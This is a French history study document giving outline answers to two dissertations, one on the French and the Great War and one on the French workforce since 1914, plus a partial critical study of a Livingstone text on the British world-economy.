Corrigé du sujet d’Histoire posté le 19 décembre.

DISSERTATION – LES FRANÇAIS ET LA GRANDE GUERRE

Introduction :

– sujet : « Grande Guerre » car étonnement devant le prolongement du conflit & la prise de conscience de sa dimension totale ; & exceptionnelle car elle donne naissance au XXème siècle & son ombre pèse sur celui-ci (donc l’absence de bornes chronologiques indique qu’il ne faut pas forcément se limiter à 1914-1918). Rapport entre les 2 termes du sujet : les Français forment une nation, donc il faut aborder la guerre (les années du conflit puis sa portée) comme une expérience partagée, qui marque durablement les Français dans l’engagement puis dans la mémoire (donc plan en 2 parties possibles : l’engagement des Français pendant la guerre, puis la portée de celle-ci & la mémoire que les Français en cultivent)

– accroche : Un spectre hante la France, celui de la Grande Guerre, incarné par les Poilus morts qui sortent de leur tombe à la fin du film d’Abel Gance, J’accuse (film de 1919 qui s’appuie sur le titre d’un article célèbre d’Emile Zola pour la défense de Dreyfus, & œuvre majeure du cinéaste qui dénonce la guerre en se servant pour fil conducteur de la vie & de la mort d’un ancien poilu devenu pacifiste convaincu)

– présentation sujet : de 1914 à 1918, 1,35 millions de Français meurent. Cette hécatombe s’accompagne d’une grande violence, inhérente tant aux armes nouvelles particulièrement meurtrières qu’au choc des combats. Guerre totale, la Première Guerre mondiale mobilise l’ensemble des Français, au front comme à l’arrière. A l’issue de la guerre, la France compte 300 000 mutilés, 680 000 veuves & 760 000 orphelins ; elle se couvre de monuments aux morts qui, tout en exaltant le patriotisme, rappellent le deuil. Le souvenir de la Grande Guerre reste vif tout au long du siècle : en témoignent la confiance placée dans le vainqueur de Verdun en 1940, puis de nos jours le succès des œuvres qui l’évoquent, la virulence de la polémique sur les fusillés pour l’exemple ou l’hommage rendu au dernier Poilu mort en 2008. Le choc de cette guerre fut tel qu’elle marque durablement & profondément les Français : elle constitue pour la nation qu’ils forment une expérience fondamentale en raison de leur engagement, de sa portée & de son souvenir. Celui-ci n’est pas figé puisque le travail de mémoire consiste à relire le passé à l’aune des enjeux du présent

– problématique : Pourquoi la Grande Guerre est-elle à la fois un traumatisme & une matrice pour les Français en tant que nation ?

 

 

I-Les Français dans la guerre totale

1-L’Union sacrée

a-L’Union sacrée, un idéal…

– expression utilisée le 4 août 1914 par le président de la République R. Poincaré

– mobilisation réussie des Français, sans enthousiasme mais avec détermination

– trêve politique : ralliement des socialistes à la guerre malgré l’assassinat de Jaurès (pour son pacifisme), & élargissement du gouvernement

– idéal de réconciliation nationale (au-delà des divisions politiques, sociales… de la nation)

b-…qui n’est ni évident ni miraculeux

– ni évident : car pacifisme de la SFIO – or le gouvernement avait prévu l’arrestation des pacifistes ; car tensions politiques (divisions entre droite parlementaire/royalistes/socialistes… – cf. l’affaire Dreyfus), sociales (divisions classe ouvrière/classe moyenne ou aisée…) & religieuses (affaire Dreyfus, loi de 1905 sur la laïcité…)

– ni miraculeux : le succès de la mobilisation montre la profondeur de la républicanisation/l’enracinement de la IIIème République, qui a développé la conscience nationale & la démocratie (patriotisme républicain fondé sur les valeurs universelles & démocratiques héritées de la DDHC) ; & la mobilisation montre aussi le sens du devoir, celui de la défense de la patrie agressée (car guerre déclarée par l’Allemagne – or revanche à prendre après la perte de l’Alsace-Lorraine en 1871)

– donc : Union sacrée facilitée par la perspective d’une guerre courte – or celle-ci se prolonge, & est meurtrière

 

2-La difficulté de tenir

a-Au front

– dans les tranchées, les Poilus subissent le froid, la faim, la peur (cf. Henri Barbusse, Le Feu, 1916) – progrès techniques (obus pour les bombardements, gaz asphyxiants…) donc les corps sont mutilés. Les grandes batailles (Verdun, 1916…) provoquent des hécatombes (la Somme : près d’1 million de morts entre juillet & novembre 1916), d’où une certaine déshumanisation à la laquelle contribue aussi la brutalisation des comportements (concept de l’historien George Mosse dans De la Grande Guerre au totalitarisme, la brutalisation des sociétés européennes, 1990) – cf. la violence des corps à corps, la mort omniprésente au quotidien, la diabolisation de l’ennemi à travers la propagande…

– les combattants sont donc traumatisés, mais tiennent par fidélité avec les camarades de combat ; par devoir envers la patrie ; par esprit de croisade (diffuser des droits de l’homme)

b-A l’arrière

– mobilisation de toute la société : femmes (« munitionnettes »…) ; enfants, vieillards & gens des colonies (dans les champs, usines…) ; intellectuels (presse pour relayer la propagande ou « bourrage de crâne » du gouvernement – Le petit Journal écrivait en octobre 1914 que « les invulnérables Poilus ne craignent plus les mitrailleuses allemandes ») ; & scientifiques (chimistes pour l’élaboration des gaz…)

– mobilisation de toutes les institutions : gouvernement, Eglise (cf. les prêtres dans les tranchées, pour bénir les soldats avant le combat…), forces vives économiques (ex : usines Renault transformées pour produire des camions, moteurs d’avions… en grande quantité)

 

3-Entre tensions et victoire : la fin de l’Union sacrée ?

a-1917 : des ruptures sans écroulement

– mutineries : provoquées par l’échec de l’offensive Nivelle (avril-juin : près de 200 000 pertes côté français) & l’insuffisance des permissions – les mutins ne désertent pas ni ne fraternisent avec l’ennemi, ils se comportent en soldats-citoyens qui assument la défense nationale mais refusent d’obéir aveuglément aux ordres

– grèves : protestations des femmes contre la vie chère du fait des privations

– montée du pacifisme & évolution chauvine de l’Union sacrée, donc retrait (imposé) des socialistes du gouvernement fin 1917

– donc : les divergences entre Français ressurgissent

b-1918 : la victoire

– G. Clémenceau devient président du Conseil en novembre 1917 & galvanise la nation : avec son programme de gouvernement, en annonçant la fin des campagnes pacifistes & la volonté de vaincre – « Père la Victoire » (« Vaincre pour être juste, voilà le mot d’ordre de tous nos gouvernements depuis le début de la guerre. Ce programme à ciel ouvert, nous le maintiendrons. », « Ni trahison, ni demi-trahison : la guerre ! ») ; en rendant hommage aux combattants mais aussi au courage de l’arrière (« Ces silencieux soldats de l’usine », « Ces vieux paysans courbés sur leurs terres », « Les robustes femmes de l’arrière »…)

– les soldats français résistent aux offensives allemandes du printemps-été 1918 : sous le commandement général de toutes les armées alliées par le maréchal Foch (cf. la 2ème bataille de la Marne, en juillet)

– dans ce contexte, les grévistes sont culpabilisés : le travail reprend, & contribue à la victoire

c-Les divisions de l’immédiat après-guerre

La formation & la victoire du Bloc national aux élections de 1919 confortent l’orientation droitière : cf. le rapprochement avec l’Eglise (concordat préservé en Alsace-Lorraine alors que loi de séparation des Eglises & de l’Etat en 1905…), & la forte répression contre le poussée d’agitation sociale de 1919 (protestations & grèves contre la loi sur le travail d’avril 1919 : 8h/jour, 6/7 jours)

 

 

II-Portée et mémoire de la Grande Guerre en France

1-La « Der des ders »

a-La mise en valeur de la souffrance et l’occultation de la violence combattante

– 14 juillet 1919 : défilé de la victoire, ouvert par les mutilés de guerre ; 11 novembre 1920, cérémonie d’installation du soldat inconnu à l’Arc de Triomphe (cercueil accompagné par des mutilés & une famille fictive : veuve, parents, orphelin)

– multiplication des monuments aux morts, qui exaltent le patriotisme : mais ce sont aussi des « tombes » – & les cérémonies comme des « services funèbres » (A. Prost, « Les monuments aux morts » in Les Lieux de mémoire, tome 1, « La République », 1984). Or manifestations du souvenir organisées par les associations d’anciens combattants (3 millions d’adhérents)

– création d’immenses cimetières militaires & édification des ossuaires (ex : celui de Douaumont, en Lorraine) : donc illustration de la violence de la guerre, & de la souffrance des combattants & des familles endeuillées – les Français communient dans ce culte national, les orphelins de guerre sont pupilles de la nation

– donc : triomphalisme écarté au profit de la mise en valeur de la souffrance des Français, & combattants présentés (& qui se présentent) comme des victimes & non des auteurs de la violence

b-Pacifisme et illusion

– pacifisme : 2ème version de J’accuse d’Abel Gance (1937) nettement plus pacifiste que la version de 1919 (dont des scènes qui heurtaient les nationalistes & chauvins furent retirées) ; dans Voyage au bout de la nuit (1932), L.-F. Céline montre la lâcheté comme seul moyen raisonnable de résister à la folie de la guerre (« abattoir international en folie ») – donc le rejet de la guerre nourrit le pacifisme de l’opinion publique face aux coups de force fascistes de la fin des 1930s, & donne naissance à « l’esprit munichois » (« la paix à tout prix » & « plus jamais ça » de Daladier & Chamberlain face à Hitler lors des accords de Munich en septembre 1938, qui scellent le démantèlement de la Tchécoslovaquie & la faiblesse des démocraties européennes face au régime nazi)

– illusion : J. Renoir tourne La Grande illusion (1937) – dénonciation du mythe de la « der des ders » ? (le titre signifie-t-il l’illusion de la durée de la guerre, ou celle du rapprochement factice des classes sociales par la guerre, ou l’illusion que ce sera la dernière guerre ? – en tout cas le film est vu comme une charge contre les nationalismes & l’antisémitisme, & pacifiste – d’où sa censure en Allemagne nazie & en France occupée)

c-« 39-40 » au miroir de « 14-18 »

– en 1939, la France entre en guerre, divisée voire démoralisée par l’esprit munichois

– la débâcle de 1940 traumatise les Français, incapables de reproduire l’Union sacrée : ils font alors confiance au maréchal Pétain, le héros de Verdun

 

2-De l’incompréhension à la résurgence

a-Un film antimilitariste en pleine guerre d’Algérie

Les sentiers de la gloire (1957) de Stanley Kubrick montre l’exécution de soldats mutins après l’échec d’un assaut en 1917 : le scandale est tel que le film est interdit à la sortie en France  (car il traite des mutineries & désertions dans l’armée française en 1917, & les cadres militaires sont présentés comme cruels & ambitieux – or dans le contexte de la guerre d’Algérie, le parallèle avec le conflit en cours est vite établi par les autorités)

b-Un patriotisme émoussé

– la construction européenne & notamment la réconciliation franco-allemande contribuent à émousser le patriotisme dans les nouvelles générations : la profondeur de celui des combattants de 14-18 leur échappe

– l’affaiblissement de la dimension patriotique de la Grande Guerre rend encore plus aiguë sa perception comme massacre inutile & odieux

c-La résurgence

– fin XXème siècle, l’intérêt pour la Grande Guerre s’accentue : cf. le succès des témoignages (lettres, photographies…) & des œuvres & films – Les champs d’honneur de J. Rouaud (1990), Capitaine Conan de B. Tavernier (1997), La chambre des officiers de F. Dupeyron (2001), Un long dimanche de fiançailles de J.-P. Jeunet (2005), les BD de Tardi (Putain de guerre, C’était la guerre des tranchées…), etc. Ces œuvres présentent de diverses manières des vies brisées

– si l’appréhension de la guerre comme une hécatombe incompréhensible persiste, la résurgence de l’intérêt que lui porte les Français doit être interrogée : est-ce l’incompréhension face à l’horreur de la guerre, qui réapparaît dans les tensions des 1990-2000s (ex dans les Balkans, avec la guerre civile en ex-Yougoslavie, 1992-1996) ? Est-ce une nostalgie de l’unité & de l’identité nationales face au poids de l’Europe & aux tensions qui traversent la société française ?

 

 

Conclusion :

– bilan : 1ère guerre totale & conflit resté exceptionnel, la Grande Guerre marque profondément les Français au XXème siècle. Véritable traumatisme pour les combattants & leurs familles, elle tient une place très importante dans la mémoire commune des Français encore aujourd’hui. Elle apparaît donc comme une matrice nationale : l’Union sacrée a montré la capacité de la nation à s’unir en surmontant de profondes divisions ; le patriotisme républicain a permis aux Poilus de tenir ; la commémoration de la guerre & de ses victimes est devenue une religion civique.  Ainsi, l’expérience de la Grande Guerre constitue-t-elle une référence pour la nation, en raison de l’unité & de l’esprit démocratique qui s’y manifestèrent. Par ailleurs, cette guerre apparaît aussi comme un traumatisme par l’ampleur de l’hécatombe, l’acuité de la souffrance, sa pérennité chez les anciens combattants & dans les familles endeuillées. Traumatisme si puissant que, « acceptée pendant les 1914-1918s, la Grande Guerre fut refusée après » (S. Audoin-Rouzeau, A. Becker, 14-18, retrouver la Guerre, 2010) : les combattants occultèrent leur violence, les Français de l’entre-deux-guerres s’accrochèrent à l’illusion pacifiste. Néanmoins, le travail de mémoire ne cesse de solliciter ce conflit face aux défis & difficultés auxquels les Français sont confrontés

– ouverture : S’il s’est amenuisé, le « poids des morts sur les vivants » (S. Audoin-Rouzeau, A. Becker, 14-18, retrouver la Guerre, 2010) est si fort que la Grande Guerre s’inscrit dans l’identité nationale. Or, en fait de « souvenirs nationaux, les deuils valent mieux que les triomphes, car ils imposent des devoirs, ils commandent l’effort en commun » (E. Renan, qu’est-ce qu’une nation ?, 1882). Plutôt que comme une victoire, la Grande Guerre apparaît comme une épreuve, suivant ainsi la vision cultivée par les Poilus eux-mêmes

 

 

 

 

 

DISSERTATION – LA POPULATION ACTIVE EN France, REFLET DES

BOULEVERSEMENTS ECONOMIQUES ET SOCIAUX DEPUIS 1914

 

 

 

Introduction :

– sujet : depuis 1914, la structure de la population active française a beaucoup évolué, passant d’une société dans laquelle l’emploi agricole domine à une société à dominante industrielle, pour aboutir à une société tertiarisée. Ces mutations de la population active accompagnent les transformations de l’économie du pays, & entraînent des bouleversements sociaux majeurs

– accroche : Le sociologue français Henri Mendras met en évidence un processus de moyennisation de la société française au cours de la 2nde moitié du XXème siècle, observable notamment dans l’évolution des inégalités : une grande classe moyenne se développe, entre la classe ouvrière & la classe dirigeante, & devient majoritaire, au point de marginaliser les 2 autres. Dans le même temps, le sentiment d’appartenir à la « moyenne » progresse, ce qui conduit Mendras à s’interroger sur la pertinence de la notion de « classe sociale » (La seconde Révolution française, 1965-1984, 1988)

– problématique : Quels sont les bouleversements que la population active française connaît depuis 1914, & en quoi reflète-t-elle les bouleversements économiques & sociaux du pays depuis la Première Guerre mondiale ?

– plan : chronologique, car sujet évolutif avec des ruptures/changements/bouleversements profonds

 

 

I-1914-1945 : une société principalement rurale qui s’industrialise progressivement

1-Une France encore profondément rurale au début du XXème siècle malgré une industrialisation croissante sous l’effet de la deuxième Révolution industrielle

– une France de paysans, qui se modernise lentement : en 1850, la France avait atteint le maximum d’actifs agricoles de son histoire (9,3 millions d’actifs)

*le choc de WWI : départ des hommes au front, donc nécessité du recours à la main-d’œuvre féminine, dans les exploitations agricoles, dans les usines (« munitionnettes »)

*une modernisation lente pendant & après la guerre : mécanisation accrue, essor des industries automobiles…

– crise de 1929 :

*1931 : apogée de la France rurale – 50% de ruraux & 50% d’urbains, & répartition équilibrée de la population active (36% de travailleurs dans le secteur primaire avec 6,4 millions d’actifs ; 34% dans le secteur secondaire ; 30% dans le secteur tertiaire)

*après 1931 : multiplication des faillites & abandons d’exploitations agricoles, exode rural prononcé

*chômage de masse : 10% des actifs dans les 1930s

 

2-Des mesures sociales pour améliorer les conditions de vie de la population active en mutation

– au lendemain de WWI :

*semaine de 48 heures (1919)

*journée de 8h (1919)

*loi Tardieu, qui créé les allocations familiales (1932)

– dans l’entre-2-guerres : conquêtes des ouvriers sous le Front populaire (lois sociales & accords Matignon de juin 1936)

*15 jours de congés payés

*réduction de la semaine de travail de 48 à 40h

*hausse des salaires (de 12% en moyenne)

 

 

II-1945-1973 : une population active de plus en plus industrialisée et tertiarisée pendant les Trente Glorieuses

1-Une industrialisation accélérée sous l’effet de la guerre

– reconstruction après la guerre : donc besoins en main-d’œuvre importants

*1960 : 7 millions d’ouvriers (soit environ 40% des actifs)

*record en 1974 : 8,3 millions d’ouvriers en France

– essor d’une industrie de biens de consommation :

*OS : ouvriers qui n’ont aucune formation & font des tâches répétitives (on parle de « travail aliénant » : travail à la chaîne, où l’ouvrier est immobile car c’est le travail qui vient à lui – cf. Les Temps modernes de Charlie Chaplin, en 1936) – deviennent la base de cette nouvelle classe ouvrière

*immigrés : embauchés dans les métiers peu qualifiés & pénibles de l’industrie & des services, dans l’agriculture ; 1946-1975, population étrangère en France qui passe de 1,7 million à 3,4 millions (soit 6,5% de la population)

*déqualification : recul ou disparition de métiers comme les petits patrons de l’artisanat…

 

2-La « fin des paysans » (Henri Mendras) ?

– fin de l’exode rural & disparition de certains emplois : des métiers ont fortement reculé ou disparu comme par ex ceux d’agriculteurs exploitants, de salariés agricoles…

– transformations de l’emploi dans le secteur :

*mécanisation accrue des campagnes

*rôle de la PAC (Politique agricole commune) : adoptée en 1962 dans le cadre de la CEE, elle donne une orientation vers l’exportation (alors que jusqu’au début 1950s, la France était plutôt importatrice de produits agricoles)

*du paysan à l’agriculteur puis au chef d’exploitation : l’expression de Mendras illustre la fin d’un certain monde rural, le monde paysan, qui se tourne vers l’agriculteur, figure plus économique & rationnelle que la précédente – car nécessité d’agrandir les exploitations (pour augmenter les productions & améliorer la productivité, & relever les nouveaux défis – s’adapter au marché, aux goûts des consommateurs)

*donc disparition des exploitations les plus petites &/ou précaires, & tendance à la spécialisation de celles perdurant

 

3-Le triomphe du secteur tertiaire et les mutations des modes de vie

– la hausse du niveau d’études de la population : 15% de classe d’âge de 18 ans a le Bac en 1965, contre 2,5% en 1931 (& 75-80% aujourd’hui)

– un tertiaire de plus en plus diversifié & féminisé :

*effectifs en hausse : 8,5 millions d’actifs en 1960, & plus de 50% des actifs en 1975

*nouveaux métiers : employés (du commerce ou de l’industrie : dactylos, etc.), cadres (« cols blancs »), professions intermédiaires, professions intellectuelles supérieures, professions dans la fonction publique

*hausse du syndicalisme

– le développement d’une société de loisirs & de consommation :

*loisirs & vacances : création de plus de 200 Maisons des jeunes & de la culture/MJC entre 1945 & 1968 ; 3ème semaine de congés payés en 1956 (en 1956, 5 Français sur 7 ne partaient pas en vacances, contre moins de 50% en 1981)

*un nouveau confort : équipement des ménages (électroménager…), voiture…

*les mesures sociales : SMIC (Salaire minimum interprofessionnel de croissance), créé en 1970 pour succéder au SMIG (Salaire minimum interprofessionnel garanti), créé en 1950) ; ANPE (créée en 1967, & qui a fusionné en 2008 avec les Assedic pour former le Pôle emploi)…

 

 

III-Depuis 1973 : une population active remodelée dans une société devenue post-industrialisée sous l’effet de la mondialisation

1-La fin du monde ouvrier ?

– DIT & délocalisation :

*la mondialisation, favorisant les délocalisations, a entraîné de nombreuses fermetures d’usines dans les pays du Nord comme la France

*cf. les grèves & manifestations : au XXème siècle, elles étaient surtout offensives (pour gagner/obtenir quelque chose), au XXIème siècle elles sont devenues surtout défensives (pour conserver des positions/défendre des acquis sociaux – emploi, salaires…)

– la désindustrialisation : un secteur secondaire tombé à environ 21% de la population active, contre un tertiaire à plus de 75%  aujourd’hui (on passe de 8,3 à 5,8 millions d’ouvriers entre 1974 & 2008)

– le chômage accru des moins qualifiés &/ou du fait du genre ou de l’âge :

*difficultés de reconversion des hommes & des régions : car crises sectorielles (ex : le secteur minier – Nord-Pas-de-Calais & Lorraine), robotisation accrue donc recul de l’emploi ouvrier au profit de tâche de maintenance industrielle, etc.

*femmes, immigrés, jeunes & seniors sont les 1ères victimes du chômage

 

2-La crise économique et ses conséquences pour la population active et la société françaises

– fin du plein emploi & arrêt de l’immigration :

*pendant 40 ans, le chômage progresse de manière quasi ininterrompue : 3,6 millions de chômeurs en 2015 (un peu plus de 10% de la population active) – chômage structurel (constant & inscrit dans le fonctionnement structurel de l’économie française) depuis la fin des 1960s, donc aucune politique économique ne parvient à le résorber (ni politique libérale, ni politique de rigueur)

*après 1974, entrées de travailleurs arrêtées (mais le regroupement familial reste possible) : donc la part des immigrés dans la population totale reste stationnaire (7%)

– hausse des inégalités & de la précarité : donc tensions sociales & politiques accrues

*perte du pouvoir d’achat & flexibilité croissante du travail : multiplication des CDD, du travail en intérim

*marginalisation d’une partie de la société : environ 10% de personnes vivent en France en dessous du seuil de pauvreté aujourd’hui (forte progression depuis la crise de 2008)

*développement du phénomène de ghettoïsation dans les banlieues : cf. les émeutes urbaines de fin 2005 partout en France (Clicy-sous-Bois…), fin 2007 à Villiers-le-Bel, en été 2010 à Grenoble, en été 2013 à Trappes…

 

 

Conclusion :

– ouverture : L’exclusion socio-économique s’est accrue depuis les années 1980, & encore plus depuis la crise de 2008, à l’école, dans l’entreprise, dans les quartiers, contribuant à renforcer les communautarismes. On assiste donc à un ancrage électoral du Front national plus prononcé : 3ème force politique nationale aujourd’hui, son candidat serait arrivé, selon des sondages réalisés en janvier 2015, en tête du 1er tour, si les élections présidentielles avaient eu lieu alors

ETUDE CRITIQUE DE DOCUMENT – L’ECONOMIE-MONDE BRITANNIQUE

 

 

 

 

 

David Livingstone, médecin et pasteur britannique du XIXème siècle, fait partie des explorateurs britanniques qui ont œuvré à faire de leur Empire une véritable « économie-monde », à savoir un système géoéconomique s’appuyant sur l’intégration et l’interdépendance marchandes des territoires, qui s’organise au profit d’un centre financier, généralement une grande métropole (ici, Londres), qui domine des périphéries plus ou moins dépendantes (les dominions du Commonwealth et les colonies de l’Empire, etc.). Cette notion, élaborée par l’historien français Fernand Braudel dans Civilisation matérielle, économie et capitalisme : XVème-XVIIIème siècle en 1967, qualifie « un morceau de la planète économiquement autonome, capable pour l’essentiel de se suffire à lui-même, et auquel ses liaisons et échanges intérieurs confèrent une certaine unité organique ». L’économie-monde britannique de la deuxième moitié du XIXème siècle est dominée par la puissance économique de la City et incarnée par la ville de Londres, une ville-monde qui est le siège du pouvoir économique et financier à la tête du plus vaste empire de l’époque. Dans le document proposé à notre étude, David Livingstone expose un de ses voyages en Afrique, en mettant l’accent sur le rôle essentiel des Britanniques dans le monde et notamment en Afrique, et sur ce qu’ils peuvent retirer d’essentiel de leurs conquêtes. Ce document du début de la deuxième moitié du XIXème siècle permet donc de comprendre la mentalité des Britanniques qui dominent alors le monde. On peut ainsi se demander comment la découverte et la conquête de nouveaux territoires, africains, contribuent à renforcer l’économie-monde britannique. Nous verrons pour cela dans un premier temps que le monde d’alors est un monde britannique, puis nous présenterons les Britanniques la conquête du monde, et enfin nous montrerons que cette conquête a pour finalité la gloire et la richesse de l’économie-monde britannique.

 

 

 

I-Un monde conquis par les Britanniques…

1-La suprématie de la Grande-Bretagne au milieu du XIXème siècle

a-L’Afrique au cœur de l’Empire britannique

– nombreuses références à « l’Afrique  » ou au « continent africain » dans presque tous les § du texte ; & vastes possessions britanniques en Afrique

*Afrique occidentale : Gambie, Sierra Leone, Côte d’Or (Ghana), Nigeria, Cameroun…

*Afrique méridionale : Afrique du Sud (« du Cap » – §1), Rhodésie (Zimbabwe & Zambie), Namibie, Zwaziland, Botswana…

*Afrique orientale : Somalie, Ouganda, Malawi, Ile Maurice, Kenya, Soudan, Egypte (« source du Nil » – §5), Tanzanie…

– définitions : Empire/colonie (territoires occupés & administrés par un Etat étranger, la « métropole »), dominion (colonies devenues autonomes au sein du Commonwealth, créé en 1931)

– donc : colonisation, forme d’impérialisme qui se traduit par le contrôle total d’un pays (la colonie) par un autre (la métropole)

 

b-L’Empire britannique, le premier Empire colonial

– extension géographique de l’Empire britannique : sur les 5 continents

*Afrique : cf. ci-dessus (point a)

*Amérique : avec « l’Amérique du Nord » (§6 – dominion du Canada), l’Amérique du Sud (Guyana/Guyane britannique), & l’Amérique centrale/des Caraïbes (Jamaïque, Iles Caïman, Bahamas, Grenade, Sainte-Lucie, Barbade, Bermudes, Honduras, Iles Falkland/Malouines…)

*Asie : avec « l’Hindoustan » (§6) – colonie du sous-continent indien (Inde, Pakistan, Bangladesh, Sri Lanka actuels -, le « joyau de la Couronne ») -, Birmanie,  Hong-Kong, Malaisie, Singapour…

*Océanie : Bornéo, Nouvelle-Guinée, Papouasie, Iles Fidji, Iles Salomon, Nouvelles-Hébrides…

*Méditerranée : Gibraltar, Malte, Chypre

– Empire confronté à la concurrence d’autres puissances coloniales (« scramble for Africa ») : en 1914, 9 Etats possèdent 1/3 des terres émergées

*France, qui possède 2ème Empire : crise de Fachoda (1898) au Soudan, à propos du bassin du Nil

*Portugal : Mozambique, Angola (« parmi les Portugais » – §8 ; « le gouvernement portugais » – §12 ; « à Luanda » – §1)

*etc.

– Empire le plus vaste : à son apogée en 1922, près de 30 millions de km2 (22% des terres émergées) sur les 5 continents, & 400 millions d’habitants (25% de la population mondiale)

 

2-Un Empire sur lequel « le soleil ne se couche jamais », la fierté des Britanniques

a-David Livingstone : un récit de voyage qui les fait rêver…

– récit aux descriptions très précises :

*périple long & risqué, qui requiert donc de la préparation : « Lors du voyage que je fis d’une mer à l’autre » (§1), « En 1853, quand je me rendis à la côte occidentale » (§8), « la route de Luanda » (§11), « je gagnais la côte orientale, je la trouvais complètement fermée. » (§11), « l’expédition fut organisée » (§14)

*beauté naturelle du continent, aux paysages très variés : « une contrée déserte où l’eau se perdait dans les sables…de vastes forêts, de belles vallées herbeuses » (§1), « l’une des cataractes les plus surprenantes » (§1), « lacs Tanganyika et Victoria Nyanza » (§4), « désert brûlé » (§6), « ses basses terres humides et chaudes, et ses plateaux élevés » (§6)

– récit qui reflète la fascination du narrateur face à ce continent : « les plus surprenantes qui soient au monde » (§1), « cette zone fabuleuse de l’Afrique tropicale » (§6), « un continent qui offre de brillantes perspectives » (§7)

 

b-…et qui les rend fiers

– rôle essentiel des Britanniques dans la découverte & l’exploration de ce nouveau continent :

*l’accumulation des connaissances scientifiques & géographiques : « la remarquable hypothèse de sir Roderick Murchison » (§3), « l’éminente découverte des lacs Tanganyika et Victoria Nyanza, due au capitaine Burton et au capitaine Speke » (§4), « la glorieuse découverte de la principale source du Nil…par nos braves compatriotes Speke et Grant. » (§5)

*les voyages/expéditions d’exploration, les Britanniques étant souvent les 1ers à s’y engager : « de nouvelles clartés étaient répandues…par le célèbre voyage du docteur Barth, les explorations de MM. Krapf, Erkhardt…du docteur Baikie » (§4), « les recherches de Van der Decken, de Thornton et d’autres voyageurs. » (§5)

– le peuple britannique peut donc, & doit, selon Livingstone, s’en enorgueillir : « découverte que tout bon Anglais doit ressentir un juste orgueil, puisqu’elle a été faite par nos braves compatriotes » (§5) – car explorations & découvertes entreprises & réalisées au nom de la Couronne britannique, de ses sujets & de sa gloire & puissance (« Ce n’était donc pas seulement la réalisation du projet de quelques individus, mais une œuvre qui répondait aux principes que nos hommes d’Etat avaient le plus à cœur, et au vif désir de la majorité du peuple anglais. » – §14)

 

 

 

II-…partis à la conquête du monde pour diverses raisons…

1-Des motivations scientifiques : de nouvelles connaissances

a-Des découvertes géographiques

– esprit d’exploration : « Elle (notre exploration) avait pour objet…d’étendre les connaissances que l’on avait déjà sur cette partie de l’Afrique » (§13)

– Livingstone lui-même : découverte des chutes Victoria en 1855 (« explore notamment les chutes Victoria » – introduction), mais aussi des lacs Shirwa, Nyassa, Meoro & Bangweolo, de la région des Grands Lacs, lors de son exploration du Zambèze entre 1858 & 1865, dont il établit la cartographie (« le Zambèze offrait une large voie pour pénétrer dans l’intérieur » – §11)

– rôle de la Société géographique de Londres (« la remarquable hypothèse de sir Roderick Murchison, président de la Société géographique de Londres » – §3) : avec des explorateurs tels

*le Britannique David Livingstone

*les Britanniques Richard Francis Burton & John Hanning Speke : « l’éminente découverte des lacs Tanganyika et Victoria Nyanza, due au capitaine Burton et au capitaine Speke » (§4)

*le Britannique Richard Thornton : repéré par sir Roderick Murchison, il est engagé pour accompagner Livingstone au Malawi & au Zambèze en 1857, puis Van der Decken pour explorer les monts Kenya & Kilimandjaro en 1861 (« Vinrent ensuite les recherches de…Thornton… » – §5)

– rôle des prédécesseurs/inspirateurs :

*l’Allemand Karl Klaus Von der Decken, explorateur de l’Afrique de l’Est & 1er à tenter l’ascension du Kilimandjaro (« Vinrent ensuite les recherches de Van der Decken… » – §5)

*les Allemands Johann Ludwig Krapf & Johannes Rebmann : explorateurs & missionnaires allemands, 1ers à entrer en Afrique par la côte indienne & à découvrir le mont Kenya & le Kilimandjaro (1848)

 

b-Des découvertes médicales

– grâce à des médecins & explorateurs tels

*le Britannique David Livingstone : « médecin et pasteur britannique » (introduction), chargé « d’étudier…les maladies locales » (§7)

*l’Allemand Heinrich Barth : explorateur de l’Afrique occidentale, 3ème à atteindre Tombouctou (1853), explorateur des fleuves Tchad & Niger (« le célèbre voyage du docteur Barth » – §4)

*le Britannique William Balfour Baikie : médecin engagé pour une expédition sur le Niger en 1854, pour assister le docteur Barth, qui prouve l’efficacité de la quinine dans la lutte contre la malaria (« les efforts persévérants du docteur Baikie, dernier martyr du climat africain » – §4)

 

c-Des découvertes sociologiques et/ou anthropologiques

– découvrir de nouveaux peuples & leurs coutumes : « de regarder les sauvages…d’étudier…le caractère des indigènes » (§7), de « nouer des relations avec les habitants » (§13)

 

2-Des motivations religieuses : « la course aux clochers »

– évangélisation des peuples africains, pour leur apporter les « lumières » de la civilisation, en vertu du « fardeau de l’homme blanc » selon Rudyard Kipling (« les Anglais étant non seulement les plus philanthropes des hommes…un système à la fois généreux et prévoyant. » – §10) : conversion des populations aux christianisme, donc rôle essentiel de Livingstone car « pasteur britannique’ (introduction), lui aussi, comme tant d’autres de ces explorateurs, « membres des missions de l’Eglise d’Angleterre » (§4)

*d’où la construction de nombreuses missions (Plus de vingt missions avaient été fondées » – §9), mais aussi l’exploration à des fins d’évangélisation de nouvelles régions du continent (« je gagnai la côte orientale…on n’y voyait…ni missionnaires » – §11 ; « cette région pouvait être accessible…aux missionnaires » – §12)

*mais aussi d’écoles, chargées d’instruire les populations indigènes, notamment au message du Christ : « recevaient dans leurs écoles au-dessus de douze mille élèves. » (§9)

 

3-Des motivations politiques : une entreprise d’Etat

a-Le rôle des militaires

– des grandes personnalités parmi les militaires :

*cf. le « capitaine Burton » (§4) : Richard Francis Burton, officier & explorateur britannique qui dirige l’expédition de la Société Royale de Géographie, qui découvre le lac Tanganyika en 1858 (« l’éminente découverte des lacs Tanganyika…due au capitaine Burton » – §4)

*cf. le « capitaine Speke » (§4) : John Hanning Speke, officier & explorateur Britannique qui participe à l’exploration de Burton en 1858 aboutissant à la découverte du lac Tanganyika (« l’éminente découverte des lacs Tanganyika…due au capitaine Burton et au capitaine Speke » – §4), puis qui découvre le lac Victoria en 1858 (« l’éminente découverte des lacs…Victoria Nyanza due…au capitaine Speke » – §4) & surtout la source du Nil en 1862 (« la glorieuse découverte de la principale source du Nil…par nos braves compatriotes Speke… » – §5)

– rôle traditionnel des soldats (« les croiseurs de Sa Majesté britannique » – §11), chargés de maintenir la sécurité dans les territoires conquis (« Sur la côte, la vie et la fortune des individus étaient en sûreté ; et, dans l’intérieur, des millions d’habitants jouissaient d’une paix relative. » – §9)

 

b-Le rôle des politiciens

– dans l’impulsion & le soutien donnés à la conquête de l’Empire (« D’accord avec la politique du gouvernement anglais » – §14) :

*soutien du gouvernement aux expéditions entreprises par Livingstone (« l’expédition fut organisée par les soins personnels du comte de Clarendon qui, à cette époque, était ministre des Affaires étrangères. » – §14), de quelque bord politique qu’il soit (« Plus tard, le ministère ayant changé, nous reçûmes la même assistance du comte de Malmesbury, puis de Lord Russell qui lui succéda. » – §14)

